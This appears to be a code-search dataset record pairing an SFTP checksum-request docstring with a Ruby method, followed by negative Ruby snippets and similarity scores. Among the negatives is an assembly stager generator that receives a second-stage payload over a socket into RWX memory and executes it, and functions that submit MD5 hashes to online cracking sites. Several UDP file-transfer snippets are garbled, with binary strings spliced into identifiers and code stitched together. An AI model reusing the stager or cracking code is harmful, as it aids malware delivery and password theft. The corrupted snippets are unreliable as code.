\"Plain-Text: #{plain_jane}\".white\n end\n return plain_jane\n end\n rescue OpenSSL::SSL::SSLError,Errno::ETIMEDOUT,Net::HTTP::Persistent::Error,NoMethodError,Zlib::DataError,Mechanize::ResponseCodeError => e\n print_error(\"Problem Communicating with: md5.noisette.ch\") if verbose\n return nil\n end\n print_error(\"No Results from: md5.noisette.ch\") if verbose\n return nil\n else\n print_error(\"#{@hash_type} not supported for: md5.noisette.ch\") if verbose\n return nil\n end\n end",
"def md5onlineorg_hash_search(hash_to_find=@hash_to_find, verbose=true)\n if @hash_type == 'MD5'\n agent = Mechanize.new\n begin\n agent.user_agent = $config['HTTP']['HTTP_USER_AGENT']\n if $config['HTTP']['PROXY']\n if $config['HTTP']['PROXY_AUTH']\n agent.set_proxy($config['HTTP']['PROXY_IP'], $config['HTTP']['PROXY_PORT'].to_i, user=$config['HTTP']['PROXY_USER'], pass=$config['HTTP']['PROXY_PASS'])\n else\n agent.set_proxy($config['HTTP']['PROXY_IP'], $config['HTTP']['PROXY_PORT'].to_i)\n end\n end\n # Fill out form and run search for hash\n page = agent.get('http://md5online.org') # Get page\n search_form = page.forms.first # find form to fill out\n search_form.md5 = hash_to_find # set hash to find value\n page = agent.submit(search_form, search_form.buttons.first) # submit form and return new page\n if page.body =~ /<span class=\"result\" .+>Found : <b>(.+)<\\/b><\\/span>.+\\(hash = #{hash_to_find }\\)<\\/span>/\n plain_jane = $1.to_s.strip.chomp\n if verbose\n print_good(\"Match Found: md5online.org\")\n puts \" [\".light_green + \"+\".white + \"] \".light_green + \"Hash: #{hash_to_find}\".white\n puts \" [\".light_green + \"+\".white + \"] \".light_green + \"Plain-Text: #{plain_jane}\".white\n end\n return plain_jane\n end\n rescue OpenSSL::SSL::SSLError,Errno::ETIMEDOUT,Net::HTTP::Persistent::Error,NoMethodError,Zlib::DataError,Mechanize::ResponseCodeError => e\n print_error(\"Problem Communicating with: md5online.org\") if verbose\n return nil\n end\n print_error(\"No Results from: md5online.org\") if verbose\n return nil\n else\n print_error(\"#{@hash_type} not supported for: md5online.net\") if verbose\n return nil\n end\n end",
"def h000000000000000000000000000000000000000000010111000110111101eader_udp package_number, file_size, signal=\"send\"\n file_size = \"%0#{@header_file_size}b\" % file_size\n number_package = \"%0#{@header_number_package_size}b\" % package_number\n eof = \"0\" if signal == \"send\"\n eof = \"1\" if signal == \"eof\"\n file_size initialize(socket, address=nil)\n @package_size = 1024\n @address = address\n # @header_package_data = 60\n @header_file_size = 60\n @header_number_package_size = 20\n @header_eof_size = 1\n @header_size = @header_file_size + @header_number_package_size + @header_eof_size\n @oob_char = '!'\n @socket = socket\n end",
"def checksums; end",
"def receive_file(size, checksum)\n Pantry.logger.debug(\"[FileService] Receiving file of size #{size} and checksum #{checksum}\")\n @receiver.receive_file(size, checksum).tap do |info|\n info.receiver_uuid = @socket.identity\n end\n end",
"def calculate_checksum(file)\n @lookup_checksums[file] = Digest::MD5.hexdigest(File.read(file, mode: \"rb\")) rescue \"\"\n end",
"def send_bitfield(socket)\n if $verb\n puts \"Sent bitfield message\"\n end\n bitfield_length = (@fileio.getBitfield.get_num_of_bits + 7) / 8\n bitfield_data = @fileio.getBitfield.to_binary_data\n socket.write([(1 + bitfield_length), 5].pack(\"Nc\") + bitfield_data)\n end",
"def netmd5crack_hash_search(hash_to_find=@hash_to_find, verbose=true)\n if @hash_type == 'MD5'\n res = @http.get(\"http://www.netmd5crack.com/cgi-bin/Crack.py?InputHash=#{hash_to_find}\")\n if res[0] =~ /<tr><td class=\"border\">[a-fA-F\\d]{32}<\\/td><td class=\"border\">(.+)<\\/td><\\/tr><\\/table>/\n plain_jane = $1.to_s.strip.chomp\n if plain_jane =~ /Sorry, we don't have that hash in our database/\n print_error(\"No Results from: netmd5crack.com\") if verbose\n return nil\n end\n if verbose\n print_good(\"Match Found: netmd5crack.com\")\n puts \" [\".light_green + \"+\".white + \"] \".light_green + \"Hash: #{hash_to_find}\".white\n puts \" [\".light_green + \"+\".white + \"] \".light_green + \"Plain-Text: #{plain_jane}\".white\n end\n return plain_jane\n else\n print_error(\"No Results from: netmd5crack.com\") if verbose\n return nil\n end\n else\n print_error(\"#{@hash_type} not supported for: netmd5crack.com\") if verbose\n return nil\n end\n end",
"def create_digest(string, bit_size)\n Digest::SHA1.hexdigest(string).hex.to_s(2).rjust(40*4, '0')[0..bit_size-1].to_i(2)\nend",
"def audioMD5sum\n @audioMD5sum ||= MD5.hexdigest( audio )\n end"
] | [
"0.6424286",
"0.4887563",
"0.47043386",
"0.46730313",
"0.45876923",
"0.45839334",
"0.45585066",
"0.45278424",
"0.43831092",
"0.43775454",
"0.4376493",
"0.43592945",
"0.4340354",
"0.42930982",
"0.42679438",
"0.42649812",
"0.42613766",
"0.4232087",
"0.42141905",
"0.42132986",
"0.42082214",
"0.420346",
"0.41814625",
"0.41754743",
"0.41702786",
"0.41698804",
"0.4165566",
"0.416339",
"0.4143128",
"0.41288635",
"0.41278926",
"0.41245806",
"0.41242316",
"0.41073093",
"0.4098093",
"0.40941635",
"0.40934575",
"0.40921453",
"0.40921178",
"0.40865692",
"0.40839776",
"0.40756813",
"0.40669474",
"0.40628183",
"0.4062397",
"0.40524468",
"0.40520748",
"0.40460446",
"0.40406308",
"0.4038674",
"0.40375176",
"0.40312",
"0.40236843",
"0.40196124",
"0.40169942",
"0.40152258",
"0.40093568",
"0.39957866",
"0.39910316",
"0.39910316",
"0.3981949",
"0.39750972",
"0.3972847",
"0.3971201",
"0.39605534",
"0.39591688",
"0.39500424",
"0.39448437",
"0.39442524",
"0.39430273",
"0.39194515",
"0.3918314",
"0.39168555",
"0.39141926",
"0.3911545",
"0.39108783",
"0.3896447",
"0.38838992",
"0.38752222",
"0.38593215",
"0.38545442",
"0.3853189",
"0.3852929",
"0.3851386",
"0.3851386",
"0.38498598",
"0.38464448",
"0.3845299",
"0.38447818",
"0.38408148",
"0.38392237",
"0.38389298",
"0.38374686",
"0.38267845",
"0.3824849",
"0.38180226",
"0.38085607",
"0.37998492",
"0.37855536",
"0.3777966"
] | 0.7782032 | 0 |
Sends a FXP_EXTENDED packet to the server to request checksum computation for file (or portion of file) obtained on the given +handle+, for the given byte +offset+ and +length+. The +block_size+ parameter is used to compute over every +block_size+ block in the file. If the +block_size+ is 0, then only one hash, over the entire range, is made. | def hash(handle, offset, length, block_size=0)
if block_size != 0 && block_size < 255
block_size = 256
end
send_request(FXP_EXTENDED, :string, "check-file-handle", :string, handle, :string, "md5,sha256,sha384,sha512", :int64, offset, :int64, length, :long, block_size)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def md5(handle, offset, length, quick_hash)\n send_request(FXP_EXTENDED, :string, \"md5-hash-handle\", :int64, offset, :int64, length, :string, quick_hash)\n end",
"def checksum(file_path, hash_class, _bit_size)\n # Size of each chunk\n chunk_size = 2048\n # Hash that is the checksum function\n # when a bitsize was specified\n if _bit_size\n hash = hash_class.new(_bit_size)\n else\n hash = hash_class.new\n end\n # File handler\n file_object = File.open(file_path, 'r')\n # loop to update the hash\n while true\n content = file_object.read chunk_size\n # Break the loop if we don't get any byte\n unless content\n return hash.hexdigest\n end\n # Update the hash\n hash.update content\n end\nend",
"def query_filetransfer_transfer_block(sock_num, size)\n query = \"QUERY_FILETRANSFER #{sock_num}#{FIELD_SEPARATOR}REQUEST_BLOCK#{FIELD_SEPARATOR}#{size}\"\n send(query)\n end",
"def storbinary(cmd, file, blocksize, rest_offset = nil, &block) # :yield: data\n if rest_offset\n file.seek(rest_offset, IO::SEEK_SET)\n end\n synchronize do\n voidcmd(\"TYPE I\")\n conn = transfercmd(cmd, rest_offset)\n loop do\n buf = file.read(blocksize)\n break if buf == nil\n conn.write(buf)\n yield(buf) if block\n end\n conn.close # closes the SSL\n conn.io.close # closes the TCP below it\n voidresp\n end\n end",
"def download_block tf, peer, piece, block\n payload = \"#{piece.index}#{block.offset}#{[TorrentFile::REQUEST_LENGTH].pack(\"N*\")}\"\n request = \"#{[1 + payload.bytesize].pack(\"N\")}#{[6].pack(\"C\")}#{payload}\"\n\n peer.socket.write request\n\n puts \"Requested Piece #{piece.index_10} block #{block.index}\"\n\n loop do\n begin\n length = peer.socket.recv(4) # 4 bytes for length of message\n length = length.unpack1 \"N\"\n\n next unless length # nil\n\n # 1 byte for message id\n # length += 1 # ???\n puts \"Received length:\\t#{length.inspect}\"\n\n # keep alive\n if length == 0\n peer.socket.write [0].pack(\"N\")\n\n next\n end\n\n result = peer.socket.read_with_timeout(length, 8)\n\n message = Message.new length, result\n\n # puts message.inspect\n\n case message.name\n when 'piece'\n piece_idx = message.index\n block_idx = TorrentFile::Block.find_index(message.offset)\n\n tf.pieces[piece_idx].blocks[block_idx].receive(message.data)\n # puts block.inspect\n\n unless block.have\n block.invalidate!\n end\n\n return\n end\n rescue RuntimeError => e\n puts e.message\n block.invalidate!\n return\n end\n end\nend",
"def receive_file(size, checksum)\n Pantry.logger.debug(\"[FileService] Receiving file of size #{size} and checksum #{checksum}\")\n @receiver.receive_file(size, checksum).tap do |info|\n info.receiver_uuid = @socket.identity\n end\n end",
"def checksum\n calc_checksum = 0\n byte_bit_nbr = 0\n @fuse_data.each { |bit|\n calc_checksum += 2**byte_bit_nbr if bit == 1\n byte_bit_nbr += 1\n byte_bit_nbr = 0 if byte_bit_nbr == 8\n }\n calc_checksum = calc_checksum % 2**16\n calc_checksum\n end",
"def h000000000000000000000000000000000000000000010111000110111101eader_udp package_number, file_size, signal=\"send\"\n file_size = \"%0#{@header_file_size}b\" % file_size\n number_package = \"%0#{@header_number_package_size}b\" % package_number\n eof = \"0\" if signal == \"send\"\n eof = \"1\" if signal == \"eof\"\n file_size initialize(socket, address=nil)\n @package_size = 1024\n @address = address\n # @header_package_data = 60\n @header_file_size = 60\n @header_number_package_size = 20\n @header_eof_size = 1\n @header_size = @header_file_size + @header_number_package_size + @header_eof_size\n @oob_char = '!'\n @socket = socket\n end",
"def update_checksum\n hh = header(\" \" * 8)\n @checksum = oct(calculate_checksum(hh), 6)\n end",
"def block!(handle, offset, length, mask, &callback)\n wait_for(block(handle, offset, length, mask, &callback))\n end",
"def checksum!# {{{\n self.csum = compute_checksum\n end",
"def send_checksum(command, options = {})\n\t\t#\n\t\t# Prepare command for sending\n\t\t#\n\t\tcommand = str_to_array(hex_to_byte(command)) unless command.class == Array\n\t\tcheck = 0\n\t\tcommand.each do |byte|\t# Loop through the first to second last element\n\t\t\tcheck = (check + byte) & 0xFF\n\t\tend\n\t\tcommand << check\n\t\tsend(command, options)\n\tend",
"def calculated_checksum\n send(\"#{@resource[:checksum_type]}_file\".to_sym, @resource[:path]) \n end",
"def header_udp package_number, file_size, signal=\"send\"\n file_size = \"%0#{@header_file_size}b\" % file_size\n number_package = \"%0#{@header_number_package_size}b\" % package_number\n eof = \"0\" if signal == \"send\"\n eof = \"1\" if sd\nclass SendFileManager\n def initialize(socket, address=nil)\n @package_size = 1024\n @address = address\n # @header_package_data = 60\n @header_file_size = 60\n @header_number_package_size = 20\n @h000000000000000000000000000000000000000000010111000110111101eader_eof_size = 1\n @header_size = @header_file_size + @header_number_package_size + @hea\n def send_file file_name, file_position=0\n file = open(\"./#{file_name}\", \"rb\")\n send_size = file_position.to_i\n file.pos = file_position.to_i\n #wait_signal_int(send_size)\n # binding.pry\n while file.size > send_size\n package_data = file.read(@package_size-@header_file_size)\n puts package_data.size\n binding.pry if file.eof?\n package_header = file.eof? ? header(file.size, \"eof\") : header(file.size)\n puts package_header + package_data\n send_size += @socket.send(package_header + package_data, 0)\n \n send_size -= package_header.size\n \n end\n binding.pry\n file.close\n message = @socket.recv(50)\n answer, file_size = message.split\n if answer == 'success'\n puts \"File #{file_name} successfully uploaded!\"\n return true\n el000000000000000000000000000000000000000000010111000110111101se\n send_file(file_name, file_size)\n return false\n end \n end\n \n def wait_sd message OOB'\n puts \"Sent #{send_size} bytes to socket\"\n @socket.send(@oob_char, Socket::MSG_OOB)\n end\n end \n \n def header file_size, signal=\"send\"\n header = \"%0#{@header_file_size}b\" % file_size\n puts header.size\n header[0] = \"0\" if signal == \"send\"\n header[0] = \"1\" if signal == \"eof\"\n header\n end\n\n def send_file_udp file_name,en(\"./#{file_name}\", \"rb\")\n packages_count = (file.size / (@package_size-@header_size).to_f).ceil\n numbers_packages_to_upload = []\n 0.upto(packages_count-1) do |number|\n numbers_packages_to_upload.push(number) unless numbers_downloaded_packages.include?(number)\n end\n send_size = file_position.to_i\n file.pos = file_position.to_i\n numbers_packages_to_upload.each000000000000000000000000000000000000000000010111000110111101 do |package_number|\n file.pos = package_number * (@package_size-@header_size)\n package_data = file.read(@package_size-@header_size)\n package_header = file.eof? ? header_udp(package_number, numbers_packages_to_upload.size, \"eof\") : header_udp(package_number, numbers_packages_to_upload.size)\n package = package_header + package_data\n send_size += @address? @socket.send(package,0,@address) : @socket.send(package,0)\n send_size -= package_header.size\n end\n file.close\n message =s = message.split\n if answer == 'success'\n puts \"File #{file_name} successfully uploaded!\"\n return true\n else\n numbers_packages = numbers_packages.map {|numb| numb.to_i} + numbers_downloaded_packages\n send_file_udp(file_name, file_size, numbers_packages)\n return false\n end\n end\n\n def send_file_udp_server file_name, file_positi000000010111000110111101ackages=[]\n\n file = open(\"./#{file_name}\", \"rb\")\n packages_count = (file.size / (@package_size-@header_size).to_f).ceil\n numbers_packages_to_upload = []\n 0.upto(packages_count-1) do |number|\n numbers_packages_to_upload.push(number) unless numbers_downloaded_packages.include?(number)\n end\n send_size = file_position.to_i\n file.pos = file_position.to_i\n numbers_packages_to_upload.each do |package_number|\n file.pos = package_number * (@package_size-@header_size)\n package_data = file.read(@package_size-@header_size)\n package_header = file.eof? ? header_udp(package_number, numbers_packages_to_upload.size, \"eof\") : header_udp(package_number, numbers_packages_to_upload.size)\n send_size += @socket.send(package_header + package_data, 0)\n send_size -= package_header.size\n end\n file.close\n message = @socket.recv(80000)\n answer, file_size, *numbers_packages = message.split\n 000000010111000110111101'\n puts \"File #{file_name} successfully uploaded!\"\n return true\n else\n numbers_packages = numbers_packages.map {|numb| numb.to_i} + numbers_downloaded_packages\n send_file_udp(file_name, file_size, numbers_packages)\n return false\n end\n end\n #header size = 60\n def header_udp package_number, file_size, signaze\n number_package = \"%0#{@header_number_package_size}b\" % package_number\n eof = \"0\" if signal == \"send\"\n eof = \"1\" if signal == \"eof\"\n file_size + number_package + eof\n end\nend\nclass SendFileManager\n def initialize(socket, address=nil)\n @package_size = 1024\n @address = address\n # @header_package_data = 60\n @header_file_size = 60\n @header_number_package_size = 20\n @header_eof_size = 1\n @header_size = @header_file_size + @header_number_package_size + @header_eof_size\n @oob_char = '!'\n @socket = socket\n end\n\n def send000000000000000000000000000000000000000000010111000110111101_file file_name, file_position=0\n file = open(\"./#{file_name}\", \"rb\")\n send_size = file_position.to_i\n file.pos = file_position.to_i\n #wait_signal_int(send_size)\n # binding.pry\n while file.size > send_size\n package_data = file.read(@package_size-@header_file_size)\n puts package_data.size\n binding.pry if fi \"eof\") : header(file.size)\n puts package_header + package_data\n send_size += @socket.send(package_header + package_data, 0)\n \n send_size -= package_header.size\n \n end\n binding.pry\n file.close\n message = @socket.recv(50)\n answer, file_size = message.split\n if answer == 'success'\n puts \"File #{file_name} successfull_name, file_size)\n return false\n end \n end\n \n def wait_signal_int send_size\n Signal.trap(:INT) do\n puts 'Send message O000000000000000000000000000000000000000000010111000110111101OB'\n puts \"Sent #{send_size} bytes to socket\"\n @socket.send(@oob_char, Socket::MSG_OOB)\n end\n end \n \n def header file_size, signal=\"send\"\n header = \"%0#{@header_file_size}b\" % file_size\n puts header.size\n header[0] = \"0\" if signal == \"send\"\n header[0] = \"1\" if signal == \"eof\"\n header\n end\n\n def send_file_udp file_name, file_position, numbers_downloaded_packages=[]\n file = open(\"./#{file_name}\", \"rb\")\n packages_count = (file.size / (@package_size-@header_size).to_f).ceil\n numbers_packages_to_upload = []\n 0.upto(packages_count-1) do |number|\n numbers_packages_to_upload.push(number) unless numbers_downloaded_packages.include?(number)\n end\n send_size = file_position.to_i\n file.pos = file_position.to_ file.pos = package_number * (@package_size-@header_size)\n package_data = file.read(@package_size-@header_size)\n package_header000000000000000000000000000000000000000000010111000110111101 = file.eof? ? header_udp(package_number, numbers_packages_to_upload.size, \"eof\") : header_udp(package_number, numbers_packages_to_upload.size)\n package = packet.send(package,0,@address) : @socket.send(package,0)\n send_size -= package_header.size\n end\n file.close\n message = @socket.recv(80000)\n answer, file_size, *numbers_packages = message.split\n if answer == 'success'\n puts \"File #{file_name} successfully uploaded!\"\n return true\n else\n numbers_packages = numbers_packages.map {|numb| numb.to_i} + numbers_downloaded_packages\n send_file_udp(file_name, file_size, numbers_packages)\n return false\n end\n end\n\n def send_file_udp_server file_name, file_position, numbers_downloaded_packages=[]\n\n file = open(\"./#{file_name}\", \"rb\")\n packages_count = (file.size / (@package_size-@header_size).to_f).ceil\n numbers_packages_to_upload = []\n 000000000000000000000000000000000000000000010111000110111101 0.upto(packages_count-1) do |number|\n numbers_packages_to_upload.push(number) unless numbers_downloaded_packages.include?(number)\n end\n send_size = firs_packages_to_upload.each do |package_number|\n file.pos = package_number * (@package_size-@header_size)\n package_data = file.read(@package_size-@header_size)\n package_header = file.eof? ? header_udp(package_number, numbers_packages_to_upload.size, \"eof\") : header_udp(package_number, numbers_packages_to_upload.size)\n send_size += @socket.sende_header.size\n end\n file.close\n message = @socket.recv(80000)\n answer, file_size, *numbers_packages = message.split\n if answer == 'success'\n puts \"File #{file_name} successfully uploaded!\"\n return true\n else\n numbers_packages = numbers_packages.map {|numb| numb.to_i} + numbers_downl000000000000000000000000000000000000000000010111000110111101oaded_packages\n send_file_udp(file_name, file_size, numbers_packages)\n return false\n end\n end\n #header size = 60\n def header_udp package_number, file_size, signal=\"send\"\n file_size = \"%0#{@header_file_size}b\" % file_size\n number_package = \"%0#{@header_number_package_size}b\" % package_number\n eof = \"0\" if signal == \"send\"\n eof = \"1\" if signal == \"eof\"\n file_size + number_package + eof\n end\nend",
"def perform( handle, options={} )\n @length = options[:length] || -1\n @handle = handle\n @offset = options[:offset] || 0\n @chunk_size = options[:chunk_size] || DEFAULT_CHUNK_SIZE\n @progress_callback = options[:progress_callback]\n @data = \"\"\n\n real_length = ( @length >= 0 && @length < @chunk_size ?\n @length : @chunk_size )\n @driver.read( nil, @handle, @offset, real_length )\n end",
"def checksum\n digest = @digest_klass.new\n buf = ''\n\n File.open(@path, \"rb\") do |f|\n while !f.eof\n begin\n f.readpartial(BUFFER_SIZE, buf)\n digest.update(buf)\n rescue EOFError\n # Although we check for EOF earlier, this seems to happen\n # sometimes anyways [GH-2716].\n break\n end\n end\n end\n\n digest.hexdigest\n end",
"def read(handle, offset, length)\n send_request(FXP_READ, :string, handle, :int64, offset, :long, length)\n end",
"def send_dat(*args)\n debug \"send_dat: args is #{args}\"\n opts = {}\n if args.length > 0 and args[0].class == 'Hash'\n opts = args[0]\n end\n\n unless opts.key?(:resend) and opts[:resend]\n blksize = @options[:blksize].to_i\n debug \"Reading #{blksize} bytes from file #{@filename}\"\n @buffer = @file.read(blksize)\n debug \"@buffer is now #{@buffer.class}\"\n debug \"Read #{@buffer.length} bytes into buffer\"\n if @file.eof\n info \"End of file #{@filename} detected.\"\n @file.close\n @state = :fin\n end\n\n @blocknumber += 1\n if @blocknumber > MaxBlockNum\n debug \"Blocknumber rolled over to zero\"\n @blocknumber = 0\n end\n else\n warn \"Resending block number #{@blocknumber}\"\n end\n\n dat = TftpPacketDAT.new\n dat.data = @buffer\n dat.blocknumber = @blocknumber\n debug \"Sending DAT packet #{@blocknumber}\"\n @sock.send(dat.encode.buffer, 0, @host, @port)\n @timesent = Time.now\n end",
"def calc_checksum\n # Checksum is only on header, so cannot use IP.sum16,\n # which also calculates checksum on #body.\n nb_words = ihl * 2\n self.checksum = 0\n checksum = to_s.unpack(\"n#{nb_words}\").sum\n self[:checksum].value = IP.reduce_checksum(checksum)\n end",
"def header_udp package_number, file_size, signaze\n number_package = \"%0#{@header_number_package_size}b\" % package_number\n eof = \"0\" if signal == \"send\"\n eof = \"1\" if signal == \"eof\"\n file_size + number_package + eof\n end",
"def header_udp package_number, file_size, signal=\"send\"\n file_size = \"%0#{@header_file_size}b\" % file_size\n number_package = \"%0#{@header_number_package_size}b\" % package_number\n eof = \"0\" if signal == \"send\"\n eof = \"1\" if signal == \"eof\"\n file_size + number_package + eof\n end",
"def header_udp package_number, file_size, signal=\"send\"\n file_size = \"%0#{@header_file_size}b\" % file_size\n number_package = \"%0#{@header_number_package_size}b\" % package_number\n eof = \"0\" if signal == \"send\"\n eof = \"1\" if signal == \"eof\"\n file_size + number_package + eof\n end",
"def parse\n _magic, command, length, checksum = @buffer.unpack('a4A12Va4')\n payload = @buffer[HEAD_SIZE...HEAD_SIZE + length]\n if Digest::SHA256.digest(Digest::SHA256.digest(payload))[0...4] != checksum\n return if payload.size < length\n raise 'TODO: handle checksum error'\n end\n @buffer = @buffer[HEAD_SIZE + length..-1] || ''\n handler.send \"handle_#{command}\", payload\n [email protected]?\n end",
"def receive_n_bytes(sizemax,looping=false,&b)\n s=sizemax\n if self.data_readed.size>=sizemax\n buff,self.data_readed=self.data_readed[0..sizemax-1],self.data_readed[sizemax..-1]\n buff=b.call(buff) if block_given?\n return buff unless looping\n end\n s=sizemax-self.data_readed.size\n loop do\n #p [\"waiting \",s,data_readed]\n sd=s>1024 ? 1024 : s\n data=(self.recv(sd) rescue (p $!;nil))\n #p \"nrec: w#{sizemax}/ rec:#{(data||'').size} / #{sd} old=#{data_readed.size} /// #{(data||'').size<70 ? data : \".\"}\"\n if data && data.size>0\n self.data_readed=self.data_readed+data\n s=sizemax-self.data_readed.size\n if s<=0\n buff,self.data_readed=self.data_readed,\"\"\n s=sizemax\n buff=b.call(buff) if block_given?\n return buff unless looping\n end\n else\n close rescue nil\n break # socket close\n end\n end #loop\n end",
"def read_data_block_request(length, connection)\n data_block = ''\n while (line = connection.gets)\n data_block += line\n break if data_block.length >= (length.to_i + CMD_ENDING.length)\n end\n\n validate_and_remove_ending! data_block\n end",
"def block_size\n check_valid\n md.block_size\n end",
"def block_size; end",
"def checksum_handler(file_path, hash_db, hash_class, _bit_size, debugmode, samefolder)\n # Reference for hash banner to notice wat function is using\n reference_banner = {1 => \"SHA1\", 2 => \"SHA2-#{_bit_size}\", 5 => \"MD5\"}[hash_class]\n # returns path as the script was in the same folder\n if samefolder\n samefolder = getfolder file_path\n end\n # Puts hash class that is really a hash function that is going to be used\n if debugmode\n puts reference_banner\n end\n # Write to target if is stablished\n if hash_db.is_a? String\n # Handler for the next writes\n file_object = File.open hash_db, 'w'\n # Write the banner; useful for compare mode\n file_object.write \"#{reference_banner}\\n\"\n else\n # When not file is set\n file_object = nil\n end\n # Stablish the hash class\n hash_class = {1 => Digest::SHA1, 2 => Digest::SHA2, 5 => Digest::MD5}[hash_class]\n # Recursive mode also works with files\n recursive_checksum file_path, hash_class, _bit_size, file_object, debugmode, samefolder\n # If we are redirecting the hashes to a file finally close it\n if file_object\n file_object.close\n end\nend",
"def fstat(handle, flags=nil, &callback)\n request :fstat, handle, flags, &callback\n end",
"def requestChunk(number, checksums, statuses)\n\tchecksum = \"\"\n\t$hashlock.synchronize {\n\t\t# First we need to lock this chunk so noone else tries to grab it\n\t\tstatuses[number] = Processing\n\t\tchecksum = checksums[number]\n\t}\n\tannounce(\"REQUEST \" + checksum)\n\t# Now until we time-out, see if anyone responds with the chunk\n\tbegin\n\t\ttimeout(Announcetimeout) do\n\t\tloop {\n\t\t\tsleep 2\n\t\t\t$announcelock.synchronize {\n\t\t\t\t# Read responses we've gotten, see if relevant\n\t\t\t}\n\t\t\t#displayMessage(\"Downloading chunk #\" + number.to_s)\n\t\t}\n\tend\n\trescue Timeout::Error\n\t\t$hashlock.synchronize {\n\t\t\tstatuses[number] = Incomplete\n\t\t}\n\tend\nend",
"def checksum!(path = nil, opts = {})\n opts = opts.inject({}){ |r, (k,v)| r[k.to_sym] = v; r }\n \n raise \"Path uses differnt extension\" if path && File.extname(path) != File.extname(self.local_path)\n \n \n if opts[:debug]\n raise (\"File '%s' does not exist\" % File.expand_path( path ) ) if path && !File.exist?( File.expand_path( path ) )\n else\n raise (\"File '%s' does not exist\" % path ) if path && !File.exist?( File.expand_path( path ) )\n end\n \n raise \"Can not specify both piece_size and piece_count\" if opts[:piece_size] && opts[:piece_count]\n raise \"piece_size must be an Integer\" if opts[:piece_size] && !opts[:piece_size].is_a?(Integer)\n raise \"piece_count must be an Integer\" if opts[:piece_count] && !opts[:piece_count].is_a?(Integer)\n \n path ||= self.local_path\n \n #get filesize\n self.size = File.size( File.expand_path( path ) )\n\n # Overrides piece_count if set\n # minimum size of 1KB for a piece\n if opts[:piece_size]\n @piece_count = nil\n @piece_size = [opts[:piece_size], 1024].max\n end\n\n\n # Overrides piece_size if set\n # This will be a multiple of 1024, and the last file will be slightly smaller\n # this means 1KB is the minimum size for a piece\n if opts[:piece_count]\n @piece_count = opts[:piece_count]\n @piece_size = ((@size / @piece_count) / 1024.0).ceil * 1024 \n end\n\n self.hashes = []\n self.hashes << Metalink4FileHash.new( hash_value: Digest::SHA256.file( File.expand_path( path ) ).hexdigest, hash_type: \"sha-256\" )\n if self.piece_size\n i = 0\n (0...@size).step(self.piece_size).each do |offset|\n self.hashes << Metalink4FileHash.new( hash_value: Digest::SHA256.hexdigest(File.read(File.expand_path( path ), self.piece_size, offset)), hash_type: \"sha-256\", piece: i )\n i += 1\n end\n end\n end",
"def write\n begin\n buf = [ @flags, @length, @id, @crc].pack(FORMAT)\n crc = Zlib.crc32(buf, 0)\n @file.seek(@addr)\n @file.write(buf + [ crc ].pack('L'))\n rescue IOError => e\n PEROBS.log.fatal \"Cannot write blob header into flat file DB: \" +\n e.message\n end\n end",
"def fill(offset, size)\n @offset = offset\n @last_access_time = @@access_time_sequence\n @@access_time_sequence += 1\n #puts \"[IOBlockReader] - Read #{size} bytes @#{@offset} in datablock ##{self.object_id}\"\n @io.seek(@offset)\n @io.read(size, @data)\n #puts \"[IOBlockReader] - Data read: #{@data.inspect}\"\n @last_block = @io.eof?\n end",
"def checksum\n return nil if @window_bits < 0\n @deflater.closed? ? @checksum : @deflater.adler\n end",
"def asm_block_recv(opts={})\n reliable = opts[:reliable]\n asm = %Q^\n recv:\n ; Receive the size of the incoming second stage...\n push 0 ; flags\n push 4 ; length = sizeof( DWORD );\n push esi ; the 4 byte buffer on the stack to hold the second stage length\n push edi ; the saved socket\n push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}\n call ebp ; recv( s, &dwLength, 4, 0 );\n ^\n\n if reliable\n asm << %Q^\n ; reliability: check to see if the recv worked, and reconnect\n ; if it fails\n cmp eax, 0\n jle cleanup_socket\n ^\n end\n\n asm << %Q^\n ; Alloc a RWX buffer for the second stage\n mov esi, [esi] ; dereference the pointer to the second stage length\n push 0x40 ; PAGE_EXECUTE_READWRITE\n push 0x1000 ; MEM_COMMIT\n push esi ; push the newly recieved second stage length.\n push 0 ; NULL as we dont care where the allocation is.\n push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}\n call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );\n ; Receive the second stage and execute it...\n xchg ebx, eax ; ebx = our new memory address for the new stage\n push ebx ; push the address of the new stage so we can return into it\n\n read_more:\n push 0 ; flags\n push esi ; length\n push ebx ; the current address into our second stage's RWX buffer\n push edi ; the saved socket\n push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}\n call ebp ; recv( s, buffer, length, 0 );\n ^\n\n if reliable\n asm << %Q^\n ; reliability: check to see if the recv worked, and reconnect\n ; if it fails\n cmp eax, 0\n jge read_successful\n\n ; something failed, free up memory\n pop eax ; get the address of the payload\n push 0x4000 ; dwFreeType (MEM_DECOMMIT)\n push 0 ; dwSize\n push eax ; lpAddress\n push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')}\n call ebp ; VirtualFree(payload, 0, MEM_DECOMMIT)\n\n cleanup_socket:\n ; clear up the socket\n push edi ; socket handle\n push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}\n call ebp ; closesocket(socket)\n\n ; restore the stack back to the connection retry count\n pop esi\n pop esi\n dec [esp] ; decrement the counter\n\n ; try again\n jnz create_socket\n jmp failure\n ^\n end\n\n asm << %Q^\n read_successful:\n add ebx, eax ; buffer += bytes_received\n sub esi, eax ; length -= bytes_received, will set flags\n jnz read_more ; continue if we have more to read\n ret ; return into the second stage\n ^\n\n if opts[:exitfunk]\n asm << asm_exitfunk(opts)\n end\n\n asm\n end",
"def checksum?# {{{\n self.csum == compute_checksum\n end",
"def block_length\n 1\n end",
"def checksum\n Digest::SHA256.file(sample_dmg).hexdigest\nend",
"def blksize() end",
"def perform( handle, data, offset=0 )\n @handle = handle\n @offset = offset\n @data = data\n @pos = 0\n\n @driver.write( nil, handle, offset, data[0,CHUNK_SIZE] )\n end",
"def hexdigest\n # Read bytes in chunks of the optimal digest size.\n while (chunk = @io.read(@digest.block_length))\n @digest.update(chunk)\n end\n @digest.hexdigest\n end",
"def fill_rbuff\n begin\n @rbuffer << sysread(BLOCK_SIZE)\n rescue Errno::EAGAIN\n retry\n rescue EOFError\n @eof = true\n end\n end",
